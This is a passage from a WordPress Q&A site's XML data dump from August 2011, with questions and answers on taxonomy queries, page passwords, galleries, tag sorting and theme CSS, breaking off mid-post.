  <row Id="27368" PostTypeId="2" ParentId="27364" CreationDate="2011-08-31T14:38:17.723" Score="0" ViewCount="" Body="&lt;p&gt;Here's a function i used to do a query with 2 custom taxonomies and 2 terms:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in &lt;strong&gt;&lt;code&gt;functions.php&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// MULTIPLE TAXONOMY QUERY ALLOWANCE&#xA;function posts_search ($post_type,$taxonomies) { // $taxonomies should be an array ('taxonomy'=&amp;gt;'term', 'taxonomy2'=&amp;gt;'term2')&#xA;    foreach ($taxonomies as $key=&amp;gt;$value) {&#xA;        $args=array('post_type'=&amp;gt;$post_type,'post__in'=&amp;gt;$ids,$key=&amp;gt;$value);&#xA;        unset($ids); $ids=array();&#xA;        foreach($posts=get_posts($args) as $post) { $ids[]=$post-&amp;gt;ID; }&#xA;        if (empty($ids)) return false;&#xA;    }&#xA;    return $posts;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and in a &lt;strong&gt;&lt;code&gt;template file&lt;/code&gt;&lt;/strong&gt;: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$posts = posts_search ('produtos',array('prod-categoria'=&amp;gt;$tt,'prod-cols'=&amp;gt;'5-C-P-F-NF-P')); &#xA;if($posts) { &#xA;&#xA;    foreach($posts as $post) { &#xA;&#xA;        if(get_post_meta($post-&amp;gt;ID, &quot;codigo_value&quot;, $single = true) != &quot;&quot;) { &#xA;&#xA;            //here you can retrieve infos; i was interested in custom fields in my case&#xA;            echo get_post_meta($post-&amp;gt;ID, &quot;codigo_value&quot;, $single = true); &#xA;&#xA;        }&#xA;&#xA;    } &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My two custom taxonomies here are &lt;strong&gt;&lt;code&gt;prod-categoria&lt;/code&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;code&gt;prod-cols&lt;/code&gt;&lt;/strong&gt; and i'm looking for two terms, one of which comes from a variable &lt;strong&gt;&lt;code&gt;$tt&lt;/code&gt;&lt;/strong&gt; and the other &lt;strong&gt;&lt;code&gt;5-C-P-F-NF-P&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="1997" LastActivityDate="2011-08-31T14:38:17.723" CommentCount="1" />
  <row Id="27369" PostTypeId="2" ParentId="27339" CreationDate="2011-08-31T14:46:56.617" Score="1" ViewCount="" Body="&lt;p&gt;I had a similar problem and posted the solution here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/support/topic/role-scoper-updating-query_posts&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/role-scoper-updating-query_posts&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;query_posts causes the main WP_Query to be discarded. That may or may not be the behavior you want. If no, you need to update WP_Query, then you could update your functions.php file to include a register filter that displays your content types as part of WP_Query (see code at URL above). If yes, you don't care about WP_Query, then I ran my query_posts after have_posts with this code in my index.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    query_posts(array('post_type' =&amp;gt; array('post', 'article', 'document', 'faq', 'video')));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8306" LastActivityDate="2011-08-31T14:46:56.617" CommentCount="1" />
  <row Id="27370" PostTypeId="1" AcceptedAnswerId="27374" CreationDate="2011-08-31T15:02:03.627" Score="0" ViewCount="22" Body="&lt;p&gt;Is it possible to password protect individual pages with Wordpress? What I'm trying to do is have special pages suche as somesite.com/project1 which has a username and password that I can set, but somesite.com/project2 has a different username and password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And so on and so forth, with new usernames and passwords for new pages created down the line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="8307" LastActivityDate="2011-08-31T15:51:48.697" Title="password protect individual pages" Tags="&lt;login&gt;&lt;password&gt;" AnswerCount="1" />
  <row Id="27371" PostTypeId="1" AcceptedAnswerId="27375" CreationDate="2011-08-31T15:17:49.160" Score="1" ViewCount="37" Body="&lt;p&gt;I've a nice question for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an easy way, to embed two galleries in the same post? I refer to the wordpress embedded gallery. Using a plugin of-course.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there outside a plugin other than &lt;a href=&quot;http://wordpress.org/extend/plugins/easy-gallery-manager/&quot; rel=&quot;nofollow&quot; title=&quot;Easy Gallery Manager&quot;&gt;Easy Gallery Manager&lt;/a&gt; that can accomplish this goals?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Must I write a new plugin?&lt;/p&gt;&#xA;" OwnerUserId="2727" LastActivityDate="2011-08-31T18:35:50.213" Title="Two embedded gallery in one post" Tags="&lt;plugins&gt;&lt;gallery&gt;" AnswerCount="2" />
  <row Id="27372" PostTypeId="2" ParentId="24935" CreationDate="2011-08-31T15:45:29.290" Score="0" ViewCount="" Body="&lt;p&gt;You can remove the wp-autop function which WordPress uses to format the output of the WYSIWYG editor. It will stop tinymce from adding additional p tags, but will require you to add correct formatting (because you're removing the wp-autop the output won't be altered. This if you use the visual editor and it doesn't convert the visual input to valid HTML tinymce will no longer attempt to correct it). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you still want to try, here is the code to add to your functions.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php remove_filter ('the_content', 'wpautop'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5339" LastActivityDate="2011-08-31T15:45:29.290" />
  <row Id="27373" PostTypeId="2" ParentId="27366" CreationDate="2011-08-31T15:50:45.897" Score="0" ViewCount="" Body="&lt;p&gt;Since:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Twenty Eleven renders properly&lt;/li&gt;&#xA;&lt;li&gt;Your Child Theme is visible in &lt;code&gt;Dashboard -&amp;gt; Appearance -&amp;gt; Themes&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Your Child Theme can be successfully activated&lt;/li&gt;&#xA;&lt;li&gt;The browser-rendered output of your Child Theme displays the Twenty Eleven markup&lt;/li&gt;&#xA;&lt;li&gt;Your &lt;code&gt;@import&lt;/code&gt; call is failing in your Child Theme stylesheet&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I suspect that you have a mal-formed &lt;code&gt;@import&lt;/code&gt; call in your Child Theme's style.css, or else you have a file-permissions/configuration setup problem with your MAMP stack.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In either case, this doesn't appear to be a &lt;em&gt;WordPress issue&lt;/em&gt;; WordPress is working properly.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-08-31T15:50:45.897" CommentCount="1" />
  <row Id="27374" PostTypeId="2" ParentId="27370" CreationDate="2011-08-31T15:51:48.697" Score="2" ViewCount="" Body="&lt;p&gt;You can password protect individual pages and posts.  Under the Publish section of the dashboard, look under the link for &lt;strong&gt;VISIBILITY&lt;/strong&gt;. The default setting is PUBLIC, but you can change it to PRIVATE, which only you can see when you're logged in, or PASSWORD PROTECTED, which requires you to enter a password when you are posting the page/post, and for the reader to enter the password to view the content.  Using this method, there is no username but you can control visibility &lt;/p&gt;&#xA;&#xA;&lt;p&gt;An alternative would be to use a membership plugin, which requires an individual user to log in, where you control their access to areas of your blog/site and what documents they have access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/search.php?q=membership&amp;amp;sort=&quot; rel=&quot;nofollow&quot;&gt;Link to Membership Plugins in the Codex&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2709" LastActivityDate="2011-08-31T15:51:48.697" />
  <row Id="27375" PostTypeId="2" ParentId="27371" CreationDate="2011-08-31T16:05:38.137" Score="4" ViewCount="" Body="&lt;p&gt;You can create two different posts, each containing a different gallery. These can be drafts or private or whatever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can include their galleries into a different post by specifying their post IDs in the gallery shortcode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;[gallery id=123]&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-08-31T16:05:38.137" CommentCount="1" />
  <row Id="27376" PostTypeId="1" CreationDate="2011-08-31T16:30:30.463" Score="0" ViewCount="16" Body="&lt;p&gt;I am trying to add a functionality to mark a post's attachment id as a background image. Basically, I would like to replicate the post thumbnail functionality: in the image attachment details, the user would click on a &quot;Use as post background&quot; link / button, and that image would be set as the post background.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been googling to find something similar to custom fields but for image attachments, but have not found anything. Any ideas? &lt;/p&gt;&#xA;" OwnerUserId="3765" LastActivityDate="2011-08-31T17:46:42.823" Title="How to mark a image attachment as background image?" Tags="&lt;custom-field&gt;&lt;images&gt;&lt;post-thumbnails&gt;" AnswerCount="1" />
  <row Id="27377" PostTypeId="1" CreationDate="2011-08-31T16:53:57.917" Score="0" ViewCount="13" Body="&lt;p&gt;How do I add a reset button using the Settings API?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use &lt;/p&gt;&#xA;&#xA;&lt;p&gt;add_settings_field&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To add a field...is there a hook to add a reset button?&lt;/p&gt;&#xA;" OwnerUserId="2417" LastActivityDate="2011-08-31T18:21:01.593" Title="Add a reset button to the options page (using Settings API)?" Tags="&lt;plugin-development&gt;&lt;reset&gt;" AnswerCount="1" />
  <row Id="27378" PostTypeId="1" CreationDate="2011-08-31T17:32:30.303" Score="0" ViewCount="29" Body="&lt;p&gt;Currently, the media for a page on &lt;code&gt;/hello-world/&lt;/code&gt; is shown on &lt;code&gt;/hello-world/attachment/image-name/&lt;/code&gt;. Is it possible to remove &lt;code&gt;attachment&lt;/code&gt; from this URL, and make it &lt;code&gt;/hello-world/image-name/&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="8310" LastActivityDate="2011-09-02T00:50:57.223" Title="Remove &quot;attachment/&quot; from the URL of attachment pages" Tags="&lt;permalinks&gt;&lt;attachments&gt;" AnswerCount="1" />
  <row Id="27379" PostTypeId="1" AcceptedAnswerId="27381" CreationDate="2011-08-31T17:41:42.673" Score="0" ViewCount="18" Body="&lt;p&gt;I'm displaying a lit of tags when they have a description. I'd like to sort them by name instead of by post quantity. Is there a way to do this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;    $tags = get_tags();&#xA;    if ($tags) {&#xA;      foreach ($tags as $tag) {&#xA;        if ($tag-&amp;gt;description) {&#xA;          echo '&amp;lt;dt&amp;gt;&amp;lt;a href=&quot;' . get_tag_link( $tag-&amp;gt;term_id ) . '&quot; title=&quot;' . sprintf( __( &quot;View all posts in %s&quot; ), $tag-&amp;gt;name ) . '&quot; ' . '&amp;gt;&amp;lt;h3&amp;gt;' . $tag-&amp;gt;name.'&amp;lt;/h3&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/dt&amp;gt;&amp;lt;dd style=&quot;margin-bottom: 10px;&quot;&amp;gt;' . $tag-&amp;gt;description . '&amp;lt;/dd&amp;gt;';&#xA;        }&#xA;      }&#xA;    }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3296" LastActivityDate="2011-08-31T17:49:18.187" Title="Sorting tags by name" Tags="&lt;taxonomy&gt;&lt;tags&gt;&lt;sorting&gt;" AnswerCount="1" />
  <row Id="27380" PostTypeId="2" ParentId="27376" CreationDate="2011-08-31T17:46:42.823" Score="0" ViewCount="" Body="&lt;p&gt;Here's how i did it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1- i created a post with a custom field name &lt;code&gt;bg-pic&lt;/code&gt; and as a value i entered the url of the picture i just uploaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2- in &lt;code&gt;content.php&lt;/code&gt; the php to retrieve the value and a button:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php the_excerpt();&#xA;$bg = get_post_meta($post-&amp;gt;ID, 'bg-pic', true); //retrieve the value&#xA;if($bg) { //if there's a value i show the button ?&amp;gt;&#xA;        &amp;lt;a class=&quot;test&quot; href=&quot;&amp;lt;?php echo $bg; ?&amp;gt;&quot; &amp;gt;Use bg&amp;lt;/a&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;3- in &lt;code&gt;footer.php&lt;/code&gt; the javascript to load the image in the background (in the domready):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(&quot;.test&quot;).click(function(){&#xA;    var bgvar = $(this).attr(&quot;href&quot;);                     &#xA;    //alert (bgvar);&#xA;    $(&quot;body&quot;).css(&quot;background&quot;, &quot;url(&quot; + bgvar + &quot;)&quot; );&#xA;    return false;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;4- Check that you got jQuery included and test it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="1997" LastActivityDate="2011-08-31T17:46:42.823" CommentCount="1" />
  <row Id="27381" PostTypeId="2" ParentId="27379" CreationDate="2011-08-31T17:49:18.187" Score="0" ViewCount="" Body="&lt;p&gt;You should use the function &lt;strong&gt;wp_tag_cloud&lt;/strong&gt;, it has many parameters as described &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_tag_cloud&quot; rel=&quot;nofollow&quot;&gt;in the codex&lt;/a&gt; and the one to sort the results as you want: &lt;code&gt;'orderby' =&amp;gt; 'name', 'order' =&amp;gt; 'ASC',&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1997" LastActivityDate="2011-08-31T17:49:18.187" CommentCount="8" />
  <row Id="27382" PostTypeId="2" ParentId="27377" CreationDate="2011-08-31T18:21:01.593" Score="0" ViewCount="" Body="&lt;p&gt;I asked this Q some couple of month myself. You don't need a hook or anything like that. Just remove the options you added to the DB, then add your defaults.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need just the button function: &lt;code&gt;submit_button()&lt;/code&gt;;&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-08-31T18:21:01.593" />
  <row Id="27383" PostTypeId="1" CreationDate="2011-08-31T18:25:09.483" Score="0" ViewCount="6" Body="&lt;p&gt;I have a need to to display absolutely all tags including empties only if they have a description. Originally I used:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;    $tags = get_tags();&#xA;    if ($tags) {&#xA;      foreach ($tags as $tag) {&#xA;        if ($tag-&amp;gt;description) {&#xA;          echo '&amp;lt;dt&amp;gt;&amp;lt;a href=&quot;' . get_tag_link( $tag-&amp;gt;term_id ) . '&quot; title=&quot;' . sprintf( __( &quot;View all posts in %s&quot; ), $tag-&amp;gt;name ) . '&quot; ' . '&amp;gt;&amp;lt;h3&amp;gt;' . $tag-&amp;gt;name.'&amp;lt;/h3&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/dt&amp;gt;&amp;lt;dd style=&quot;margin-bottom: 10px;&quot;&amp;gt;' . $tag-&amp;gt;description . '&amp;lt;/dd&amp;gt;';&#xA;        }&#xA;      }&#xA;    }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But found that I was unable to sort by title. So now I'm using &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $args = array(&#xA;    'format'                    =&amp;gt; 'list',&#xA;    'link'                      =&amp;gt; 'view', &#xA;    'taxonomy'                  =&amp;gt; 'post_tag', &#xA;    'orderby'                   =&amp;gt; 'name', &#xA;    'order'                     =&amp;gt; 'ASC',&#xA;    'echo'                      =&amp;gt; true ); &#xA;?&amp;gt;&#xA;&amp;lt;?php if ( function_exists('wp_tag_cloud') ) : ?&amp;gt;&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;h2&amp;gt;Popular Tags&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;            &amp;lt;?php wp_tag_cloud($args); ?&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I'm now unable to pull solely based on if it has a description and show tags even if they're unattached to a post. Any idea on how I can do both of these?&lt;/p&gt;&#xA;" OwnerUserId="3296" LastActivityDate="2011-08-31T18:25:09.483" Title="Display all tags including unattached with wp_tag_cloud" Tags="&lt;taxonomy&gt;&lt;tags&gt;" />
  <row Id="27384" PostTypeId="2" ParentId="27371" CreationDate="2011-08-31T18:35:50.213" Score="0" ViewCount="" Body="&lt;p&gt;You could use the &lt;a href=&quot;http://wordpress.org/extend/plugins/autonav/&quot; rel=&quot;nofollow&quot;&gt;AutoNav Plugin&lt;/a&gt;. For example, if you wanted to display the first six attached images in one place, and the remainder below, you would use the two shortcodes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[autonav display=attached start=0 count=6]&#xA;...&#xA;[autonav display=attached start=6]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are many more options that let you resize the thumbnails, use different table or list layouts, link to the images or the &quot;attachment page&quot; -- like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[autonav display=&quot;attached,page&quot; size=400x300 count=1]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or display, at random, two of the images attached to the current post:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[autonav display=attached count=2 order=rand]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could also display the attachments to &quot;this&quot; page in one gallery, and the images attached to another post (let's say, with ID=509) like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[autonav display=attached]&#xA;...&#xA;[autonav display=attached postid=509]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or even, display the featured thumbnail images of all the pages that are siblings to the current page (i.e., all the other child pages of the current page's parent):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[autonav display=&quot;images,siblings&quot; columns=4]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That will create a 4-column table, with each thumbnail linking to the appropriate page.&lt;/p&gt;&#xA;" OwnerUserId="8313" LastActivityDate="2011-08-31T18:35:50.213" />
  <row Id="27385" PostTypeId="1" CreationDate="2011-08-31T18:51:36.413" Score="3" ViewCount="91" Body="&lt;p&gt;I have a brilliant idea and since WordPress already takes care of some of the work, I just need to find a good method to make this work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am working on a project that needs to be responsive to all devices, whether a desktop PC or mobile gadget. Thus, I want the images to also be responsive, meaning that mobile devices shouldn't load 50KB+ images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For each page or post, I can add a Featured Image using Post Thumbnails which, at full-size, the image is about 950x250 at ~60KB. If I load the website on an iPhone/Android, I wouldn't want the ~60KB image to load, but instead would like the small thumbnail to load in its place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The default method for responsive images is to make the width of the image 100% of the parent container, thus it will resize automatically if the parent container is also resized. Not the best method for larger images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought about trying out &lt;a href=&quot;http://filamentgroup.com/lab/responsive_images_experimenting_with_context_aware_image_sizing/&quot; rel=&quot;nofollow&quot;&gt;Filament Group's responsive image script&lt;/a&gt;, but I tried it and it didn't work right. One way this could be accomplished is through user-agent detection, but I'd rather not do this method either since user-agents can be spoofed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://adaptive-images.com/&quot; rel=&quot;nofollow&quot;&gt;Here's another method for resizing images on the fly&lt;/a&gt;, but this seems to be duplicating what WordPress has already done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is a way of doing this with the Media Gallery images that WordPress has be default, with all the resized thumbnails already created, that would be preferable. &lt;/p&gt;&#xA;" OwnerUserId="6000" LastActivityDate="2011-09-01T05:58:18.850" Title="What's the best way to use the Featured Image for responsive web design?" Tags="&lt;php&gt;&lt;images&gt;&lt;post-thumbnails&gt;&lt;mobile&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="27386" PostTypeId="1" CreationDate="2011-08-31T19:08:23.907" Score="0" ViewCount="21" Body="&lt;p&gt;I've been trying to utilize either &lt;code&gt;WP_Query&lt;/code&gt; or &lt;code&gt;get_posts&lt;/code&gt; to pull out the most recent post that's both in a specific category and of a specific post format.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$singargs = array(&#xA;'numberposts' =&amp;gt; 1,&#xA;'tax_query' =&amp;gt; array(&#xA;    'relation' =&amp;gt; 'AND',&#xA;    array(&#xA;        'taxonomy' =&amp;gt; 'category',&#xA;        'field' =&amp;gt; 'slug',&#xA;        'terms' =&amp;gt; array ( 'gift-of-the-day' ),&#xA;    ),&#xA;    array(&#xA;        'taxonomy', =&amp;gt; 'post_format',&#xA;        'field' =&amp;gt; 'slug',&#xA;        'terms' =&amp;gt; array( 'aside'),&#xA;    )&#xA;)&#xA;);&#xA;$singPost = new WP_Query( $singargs );&#xA;foreach ( $singPost as $post ) : setup_postdata($post); ?&amp;gt;&#xA;&amp;lt;aside&amp;gt;&#xA;    &amp;lt;h2&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&amp;lt;/aside&amp;gt;&#xA;&amp;lt;?php endforeach; wp_reset_postdata(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong here?&lt;/p&gt;&#xA;" OwnerUserId="8315" LastActivityDate="2011-08-31T23:30:00.450" Title="WP_Query to get posts in a specific category and post format" Tags="&lt;wp-query&gt;&lt;custom-loop&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="27387" PostTypeId="2" ParentId="27077" CreationDate="2011-08-31T19:10:15.357" Score="0" ViewCount="" Body="&lt;p&gt;Not sure why you are using the filter exactly ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would do the following in the theme file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php global $basic_metabox; /* this is just needed once */ ?&amp;gt;&#xA;&amp;lt;?php if ($basic_metabox-&amp;gt;have_value('post_link_url')) { ?&amp;gt;&#xA;&amp;lt;a href=&quot;&amp;lt;?php $basic_metabox-&amp;gt;the_value('post_link_url'); ?&amp;gt;&quot;&amp;gt;&amp;lt;img src=&quot;http://localhost/wordpress/wp-content/uploads/2011/08/external-link-red03.png&quot;/&amp;gt;&amp;lt;/a&amp;gt; &#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also note that &lt;code&gt;get_the_value()&lt;/code&gt; and &lt;code&gt;the_value()&lt;/code&gt; are different, the first returning a value and the second echoing out a value.&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2011-08-31T19:10:15.357" />
  <row Id="27388" PostTypeId="1" CreationDate="2011-08-31T19:11:47.520" Score="0" ViewCount="18" Body="&lt;p&gt;Note: I don't have any training in HTML or CSS or doing things correctly, and also am not very clear on computer programming terminology, so please forgive me (and correct me!) if I use words inappropriately. Also, my code indentation is wayward--please forgive, again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some background: I'm updating a &lt;a href=&quot;http://www.cchmuseum.org&quot; rel=&quot;nofollow&quot;&gt;website&lt;/a&gt; via WordPress and, &lt;em&gt;within the context of the entire website&lt;/em&gt;, am trying to create a set of pages that feature one of the museum's programs, called 'Mr. Carnegie's Grand Tour'. The &lt;a href=&quot;http://www.cchmuseum.org/education/carnegie_tour/&quot; rel=&quot;nofollow&quot;&gt;&quot;homepage&quot;&lt;/a&gt; for this subset of pages is where my problem occurs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some more specific background: In order to distinguish the &quot;parent&quot; page of the Tour from the pages that it will lead to (the &quot;child&quot; pages), I fiddled around with some CSS and managed, via absolute positioning, to move the banner-like image at top so that it is just a few pixels below the automatically displayed 'Mr. Carnegie's Grand Tour' heading. I did this in order to eliminate the white space that was created by using &lt;code&gt;&amp;lt;html&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; tags at the beginning of my page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below are the contents of the page (as editable through the WordPress interface):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&#xA; &amp;lt;head&amp;gt;&#xA;    &amp;lt;style type=&quot;text/css&quot;&amp;gt;&#xA;  table.menu { &#xA;           border-style: solid;&#xA;           border-color: #cccccc;&#xA;           border-width: 5px;&#xA;           width: 210px;&#xA;           position: absolute;&#xA;           top: 40px;&#xA;           left: 500px;&#xA;         }&#xA;  img.carnegie {&#xA;           height: 253px;&#xA;           position: absolute;&#xA;           top: 321px;&#xA;           left: 500px;&#xA;         }&#xA;  img.masthead {&#xA;           height: 154px;&#xA;           position: absolute;&#xA;           top: 40px;&#xA;           left: 0px;&#xA;         }&#xA;     &amp;lt;/style&amp;gt;&#xA;  &amp;lt;/head&amp;gt;  &#xA;  &amp;lt;body&amp;gt;&#xA;&amp;lt;p&amp;gt;&#xA;&#xA;&amp;lt;img class=&quot;masthead&quot; src=&quot;/wp-content/uploads/grandtourmainhead1.jpg&quot;&amp;gt;&#xA;&amp;lt;table class=&quot;menu&quot;&amp;gt;&#xA;&amp;lt;tbody&amp;gt;&#xA;&amp;lt;tr&amp;gt;&#xA;&amp;lt;td&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;http://www.cchmuseum.org/carnegie_tour/&quot;&amp;gt;Tour Home&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;aboutus.htm&quot;&amp;gt;About Us&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;Who_was_Andrew_Carnegie.htm&quot;&amp;gt;Who was Andrew Carnegie?&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;General_Tour_Information.htm&quot;&amp;gt;General Tour Information&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;Carnegie_Tour_Sites.htm&quot;&amp;gt;Carnegie Tour Sites&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;Andy_the_Library_Explorer.htm&quot;&amp;gt;Andy the Library Explorer&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;Prizes_and_Tour_Sponsors.htm&quot;&amp;gt;Prizes and Tour Sponsors&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;New_Stories_and_Photos.htm&quot;&amp;gt;New! Stories and Photos&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;More_About_Carnegie.htm&quot;&amp;gt;More About Carnegie&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;Download_Your_Passport.htm&quot;&amp;gt;Download Your Passport&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;New_Museum_Poster.htm&quot;&amp;gt;New Museum Poster&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;Contact_Us.htm&quot;&amp;gt;Contact Us&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt; &#xA;&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;/tbody&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&amp;lt;!--URL in next line is placeholder- will designate later--&amp;gt;&#xA;&amp;lt;a href=&quot;http://www.cchmuseum.org/carnegie_tour/passport&quot;&amp;gt;&amp;lt;img class=&quot;carnegie&quot;  src=&quot;/wp-content/uploads/CarnegieDesign_2.jpg&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;   &amp;lt;/p&amp;gt; &#xA;  